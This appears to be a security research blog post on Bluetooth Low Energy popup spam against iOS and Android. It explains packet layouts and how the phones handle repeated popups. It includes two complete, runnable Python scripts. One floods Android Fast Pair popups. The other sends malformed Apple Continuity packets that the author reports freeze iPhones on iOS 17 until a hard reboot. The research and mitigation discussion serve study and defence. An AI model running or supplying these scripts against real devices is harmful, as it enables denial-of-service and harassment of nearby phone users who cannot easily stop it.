Much ink has been spilled recently over Bluetooth Low Energy (BLE) popups as an attack vector. In this post I will try to break down the attacks, how they work, why they work, and what can be done about them.
For a recent history of bluetooth spam, see WillyJL’s blog
A number of protocols have been developed that leverage the BLE advertisement specification in order to provide user-friendly functions that trigger when a device is brought physically close to your phone/tablet.
On iOS, this protocol is called Continuity, and encompasses a variety of different message types. Of particular interest are the “Nearby Action” and “Proximity Pairing” messages, as these can cause popups on iOS devices.
On Android, the Google Fast Pair protocol is used to connect a variety of devices to the phone via a half-sheet popup dialog.
Samsung’s proprietary fast pairing technology, as well as Windows Swift Pair, are not covered here.
Bluetooth Low Energy defines a specification for sending broadcast or “Advertising” messages. These messages do not contain a destination address, and are received by all devices within range of the sending device.
The outer envelope of a BLE advertisement is divided into the following sections:
The PDU is further divided into:
0..N
instances of the following triplet of values (up to 31 bytes total):
There are several AD Types. Most of them, like Flags (0x01) and TX Power (0x0a) are standard types that are used by both Google and Apple protocols.
Arguably the most interesting AD type is “Manufacturer Specific” (0xFF). This type requires a 16 bit company ID as the first two bytes of data. Apple uses this custom type to implement their Continuity protocol within the remaining bytes.
Google’s Fast Pair protocol takes a similar approach with type 0xFF, but funnily enough this custom data isn’t required to trigger popups on Android.
See FuriousMAC’s research for more details on the structure of the continuity protocol.
+------------+-------------------+----------------+--------------------------------+-------------+
| Preamble | Access Address | PDU Header | PDU Payload | CRC | First 4 bits of header declares
| (1 byte) | (4 bytes) | (2 bytes) | (Variable length, up to 37B) | (3 bytes) | PDU Type. 0000=ADV_IND
+------------+-------------------+----------------+--------------------------------+-------------+
|
|
+------------------------------------------+
| ADV_IND PDU Payload Structure | ADV_IND payload must contain a 6 byte
+----------+-------------------------------+ Advertising Address, so effective
| AdvAddr | AdvData | max payload length is 31B
| (6B) | (Variable length, up to 31B) |
+----------+-------------------------------+
|
|
+-------------------------------------------------------------------------------------+
| AdvData Structure (Repeated 0..N times) |
+---------+--------+--------------------+-----+---------+--------+--------------------+
| Length0 | Type0 | Value0 | ... | LengthN | TypeN | ValueN |
| (1B) | (1B) | (Length - 1 bytes) | ... | (1B) | (1B) | (Length - 1 bytes) |
+---------+---------+-------------------+-----+---------+--------+-=======------------+
You can generate BLE advertisement packets on just about any device with a bluetooth radio and an SDK.
While the Flipper form-factor makes it an extremely convenient tool for playing back messages, when it comes to trying out lots of different message combinations (not to mention boosting the signal with a bluetooth adapter) I lean towards Raspberry Pi and similar Linux SBCs. The code below should run on any linux system with bluez
, and was tested specifically on a Pi Zero 2 W running Raspbian.
In order to supply the raw packet data, we need to use methods not publicly exposed by PyBlueZ. The py-bluetooth-utils package calls directly into bluez libraries and provides functions that makes this easy:
toggle_device(dev_id, isEnabled)
start_le_advertising(socket, min_interval, max_interval, data)
stop_le_advertising(socket)
Where socket
is a BluetoothSocket, min_interval
and max_interval
are in milliseconds, and data is a list of byte values. dev_id
is the HCI ID of the bluetooth adapter - usually 0
.
Bluez and py-bluetooth-utils handle the outer piece of the BLE advertisement, setting all the necessary bytes for the preamble, access address, and PDU header (including PDU type).
The bytes that we submit to start_le_advertising
will represent the payload of an ADV_IND PDU type. This payload supports multiple segments, with each segment declaring its own length. We’ll pack all of the bytes together into a tuple, then supply it to start_le_advertising
and watch the magic happen.
Example code is provided for each section. Assuming a debian-like system, run the following commands:
apt install bluetooth bluez
pip install pybluez
curl -O https://raw.githubusercontent.com/colin-guyon/py-bluetooth-utils/master/bluetooth_utils.py
The bluetooth_utils.py file should be placed in the same folder as your python script.
To trigger a popup on Android, we can craft a packet containing:
<PREAMBLE>
<ACCESS_ADDR>
<PDU_HEADER>
<ADV_ADDR>
0x03 // Size
0x03 // Type ServiceUUID
0x2c, 0xfe // 0xFEC2=google_llc_fastpair
0x06 // size
0x16 // Type: Service Data
0x2c, 0xfe // 0xFEC2=google_llc_fastpair
0x10, 0x62, 0x09 // Anti-spoofing key
0x02 // size
0x0a // Type: Power Level
0xFF // The power level value
<CRC>
The payload for this packet is straightforward. It consists of 3 sections:
Section 1:
Section 2:
Section 3:
This packet is eventually processed here: NearbyManager.java
Anti-spoofing keys are a mechanism used by Google to require developers integrating with Fast Pair to submit their proposed integration through the Google developer portal.
Anti spoofing keys are a mechanism used by Google to ensure that they have the final say over any devices that wish to integrate with Fast Pair. When a new Fast Pair device is created in the Google Developer Portal, a 24-bit “Anti-Spoofing” key is assigned to the device. Customers are asked to upload details on the device, including all text and images, as well as documented test procedures, in order to receive approval. Once Google approves a device, the associated key is considered valid and will trigger the associated behavior on all Android devices that support Fast Pair.
In addition enumerating a wide variety of real devices (mostly headphones), @ecto-1a also found a number of “debug” devices that are active and can be triggered.
It is possible to get your own Anti-Spoofing key, and in the process register whatever image you choose. This key will not be approved by Google, so the associated popups only work on phones that have been put into Developer mode. Still, many otherwise security-conscious folks tend to turn on Developer mode for the sake of rooting and using ADB. This makes them susceptible to showing arbitrary content (provided you add it in your developer portal ahead of time).
To get your own key:
Once you have entered this information, click “Save Draft” instead of “Submit”. This will take you to a page with details of your new device. On this page, find the “Model” (a 6 character hex string).
This is your Anti-Spoofing key. Including these bytes in a spoofed packet will trigger the text and image that you supplied, provided the phones is in dev mode.
import signal
import random
import bluetooth._bluetooth as bluez
from time import sleep
from bluetooth_utils import (toggle_device, start_le_advertising,
stop_le_advertising)
dev_id = 0
toggle_device(dev_id, True)
try:
sock = bluez.hci_open_dev(dev_id)
except:
print("Cannot open bluetooth device %i" % dev_id)
raise
adv_type = 0x03
interval = 50
# size, type, svc_uuid (2 bytes)
service_uuids = (0x03, 0x03, 0x2c, 0xfe)
# size, type, svc_uuid (2 bytes), anti_spoofing_key (3 bytes)
service_data = (0x06, 0x16, 0x2c, 0xfe,
0xcd, 0x82, 0x56)
try:
while True:
randomtx = random.choice(list(range(0, 21)) + list(range(154, 255)))
power_level = (0x02, 0x0a, randomtx,)
data = (service_uuids + service_data + power_level)
start_le_advertising(
sock,
min_interval=interval,
max_interval=interval,
data=data
)
stop_le_advertising(sock)
except:
stop_le_advertising(sock)
raise
def signal_handler(sig, frame):
print('\nStopping BLE advertisements.\n')
stop_le_advertising(sock)
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
This process was discovered by @ecto-1a during fuzzing / brute forcing of the continuity protocol. The exploit reflects this, playing back a random sequence of Nearby Actions, but including corrupt Nearby Info in the same packet.
It’s only been documented to trigger a system crash on newer iPhones running iOS 17. I’ve tested the behavior on an iPhone 13 Pro and Pro Max running iOS 17-17.1.1, and was not able to trigger a crash on an iPad mini or iPhone SE2 running iOS 17.1 (although it still causes innumerable popups).
Newer phones, after showing a few popups will eventually stop responding, usually on a black screen. This requires a hard reboot (Vol+, Vol-, Hold Power) to restore service. If anyone tests it on iPhone SE3, iPhone 12, 11, 10(s) I’d love to know the results (mastodon: @jb0x168@infosec.exchange)
To generate a packet for this process, we create a packet containing a Nearby Action message, two null bytes, followed by a Nearby Info message with a litle random data thrown in:
00 00
A normal packet might look like this - it’s not unusual to see Nearby Action and Nearby Info messages in the same packet:
<PREAMBLE>
<ACCESS_ADDR>
<PDU_HEADER>
<ADV_ADDR>
0x02 // size
0x01 // Type: flags
0x1a // Flags (specifics not important)
0x02 // size
0x0a // Type: Power Level
0xFF // The power level value
0x0e // size
0xff // manufacturer specific
0x4c, 0x00 // Company: Apple Inc (0x004C)
0x0f // Tag: Nearby Action
0x05 // length
0x90 // Action Flags
0x00 // Action Type?
0xe1, 0xef, 0xd2 // Auth tag (3 bytes)
0x10 // Tag: Nearby Info
0x05 // length
0x01 // Status Flags / Action Code (upper/lower bits)
0x04 // Data Flags
0xe1, 0xef, 0xd2 // Auth tag (3 bytes)
<CRC>
Our fudged packets look more like this:
<PREAMBLE>
<ACCESS_ADDR>
<PDU_HEADER>
<ADV_ADDR>
0x10 // size
0xff // manufacturer specific
0x4c, 0x00 // Company: Apple Inc (0x004C)
0x0f // Tag: Nearby Action
0x05 // length
0x90 // Action Flags
<random action> // Nearby Action Type
<random byte>, <random byte>, <random byte> // Auth tag (3 bytes)
0x00,
0x00,
0x10,
<random byte>, <random byte>, <random byte>
<CRC>
The exact cause of the crash isn’t known, but we can make a few educated guesses as to what might be happening.
Reading the packet-byte-by-byte, everything is hunky-dory up until the end of the Nearby Action message. Since we still have bytes left in the overall size (Total size=0x10, or 16) we read the next byte, expecting to find a Continuity Message Type, for example 0x10 for a Nearby Info message.
Instead, we get a message type of 0x00. This type has not been documented in any normal continuity messages. Assuming that it still gets parsed, the next byte would be the message size, but uh-oh! it’s also 0x00.
A number of things could be happening next. The most logical thing would be for the system to throw away both these values, and try again with the next byte to find a triplet of (type,size,data) that is equal to or less than the remaining size (4 bytes). This time, we give it a valid message type (0x10, Nearby Info), but instead of declaring a valid size for the rest of the message, we’re supplying a random byte from 0-255. Regardless of the declared size, we only provide two more bytes.
This alone could theoretically cause bluetoothd to read past the end of a buffer, but it doesn’t explain the need for the two null bytes between messages. It’s possible that there’s some other behavior associated with parsing a type of 0x00 with a size of 0x00 that puts some other part of the system into a bad state. More testing is required to answer this definitively.
When the device locks up, a flurry of messages are seen across various services. I’ve observed these beginning with messages about mismatched packet lengths in bluetoothd (as you would expect from the exploit) followed by invalid connection states, and culminating in a number of other processes that rely on services from bluetoothd failing in various ways.
This research is still in progress and will be updated as more information is avialable.
The following messages have been observed
error bluetoothd 96 0x17a6 50366 15:26:23.806806-0800 Server.LE.Connection bluetoothd getNextLeConnectionRSSIThresholdState: B51FD534-4995-134C-06C4-D05AB29D5486 is in invalid state com.apple.bluetooth
error bluetoothd 425 0x229b 51473 15:26:25.878417-0800 WirelessProximity WPDaemon Advertising failed to start for client <private> type 18 with error: Trying to update advertiser but peripheral manager isn't powered on com.apple.bluetooth
error bluetoothd 425 0x229b 51473 15:26:25.878367-0800 WirelessProximity WPDaemon ObjectDiscovery Advertising failed to start with error: Error Domain=WPErrorDomain Code=26 "Trying to update advertiser but peripheral manager isn't powered on" UserInfo={NSLocalizedDescription=Trying to update advertiser but peripheral manager isn't powered on} com.apple.bluetooth
error bluetoothd 425 0x229b 51473 15:26:25.878345-0800 WirelessProximity WPDaemon Trying to update advertiser but peripheral manager isn't powered on com.apple.bluetooth
error bluetoothd 425 0x229b 51473 15:26:25.878319-0800 WirelessProximity WPDaemon ObjectDiscovery -[WPDObjectDiscoveryManager updateAdvertiser] updated with error: Trying to update advertiser but peripheral manager isn't powered on com.apple.bluetooth
import signal
import random
from random import choice, randint
import bluetooth._bluetooth as bluez
from time import sleep
from bluetooth_utils import (toggle_device, start_le_advertising,
stop_le_advertising)
def build_crash_packet():
actions = ( 0x13, # AppleTV AutoFill
0x27, # AppleTV Connecting...
0x20, # Join This AppleTV?
0x19, # AppleTV Audio Sync
0x1E, # AppleTV Color Balance
0x09, # Setup New iPhone
0x02, # Transfer Phone Number
0x0B, # HomePod Setup
0x01, # Setup New AppleTV
0x06, # Pair AppleTV
0x0D, # HomeKit AppleTV Setup
0x2B) # AppleID for AppleTV?
action = random.choice(actions)
flags = 0xC0
if action == 0x20 and random.choice([True, False]):
flags = 0xBF
elif action == 0x09 and random.choice([True, False]):
flags = 0x40
total_size = (0x10,)
service_data = (0xff, 0x4c, 0x00)
action_data = (0x0f, 0x05, flags, action, randint(0,255), randint(0,255), randint(0,255))
null_data = (0x00, 0x00)
garbage_data = (0x10, randint(0,255), randint(0,255), randint(0,255))
return (total_size + service_data + action_data + null_data + garbage_data)
dev_id = 0
try:
toggle_device(dev_id, True)
sock = bluez.hci_open_dev(dev_id)
except:
print("Cannot open bluetooth device %i" % dev_id)
raise
try:
while True:
start_le_advertising(
sock,
min_interval=50,
max_interval=50,
adv_type=0x03,
data=build_crash_packet()
)
stop_le_advertising(sock)
except:
stop_le_advertising(sock)
raise
def signal_handler(sig, frame):
print('\nStopping BLE advertisements.\n')
stop_le_advertising(sock)
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
An additional issue that exacerbates this problem is the fact that on both iOS and Android the most easily accessible bluetooth toggle, in the system-wide pulldown menu, does not actually disable bluetooth. While this toggle prevents pairing with new devices, it does not affect how the phone responds to bluetooth advertisements.
To fully disable bluetooth on iOS, it must be disabled from the Settings app. Toggling bluetooth, enabling airplane mode, and even enabling “Lockdown” mode (which disables a number of non-essential services in the name of security and privacy) do nothing to prevent these messages.
The behavior on android is even more puzzling. Toggling bluetooth from the control center does not prevent popups. Toggling airplane mode, from settings or from the control center, however DOES disable bluetooth and stop the popups. Toggling bluetooth back on, even while still in airplane mode, allows the popups to resume.
Android contains additional options for disabling bluetooth functionality, specificially the ability to disable notifications for “Nearby Share”, although it is not obvious to a casual user that this is related to Fast Pair.
The “Lockdown” feature on Android is unrelated to bluetooth functionality.
While the popups are presented in a similar fashion on both device types, the behavior of the operating system toward repeat messages differs significantly. Both OSes attempt to mitigate repeat messages, with varying degrees of success.
iOS keeps track of what popups have been shown, and under normal circumstances will only show each popup once. However, this limitation is trivially defeated in multiple ways. Initial efforts to “spam” these messages simply cycle through the available messages.
Because locking and unlocking the phone is a reflexive response to this behavior, it has the effect of resetting the timer, and people continue to be deluged by the same messages.
On android, a popup must be dismissed twice before it triggers a cooldown. Per Google’s documentation, this cooldown lasts 5 minutes, or until the device is rebooted, whichever is sooner. Locking and unlocking the phone will not affect this cooldown.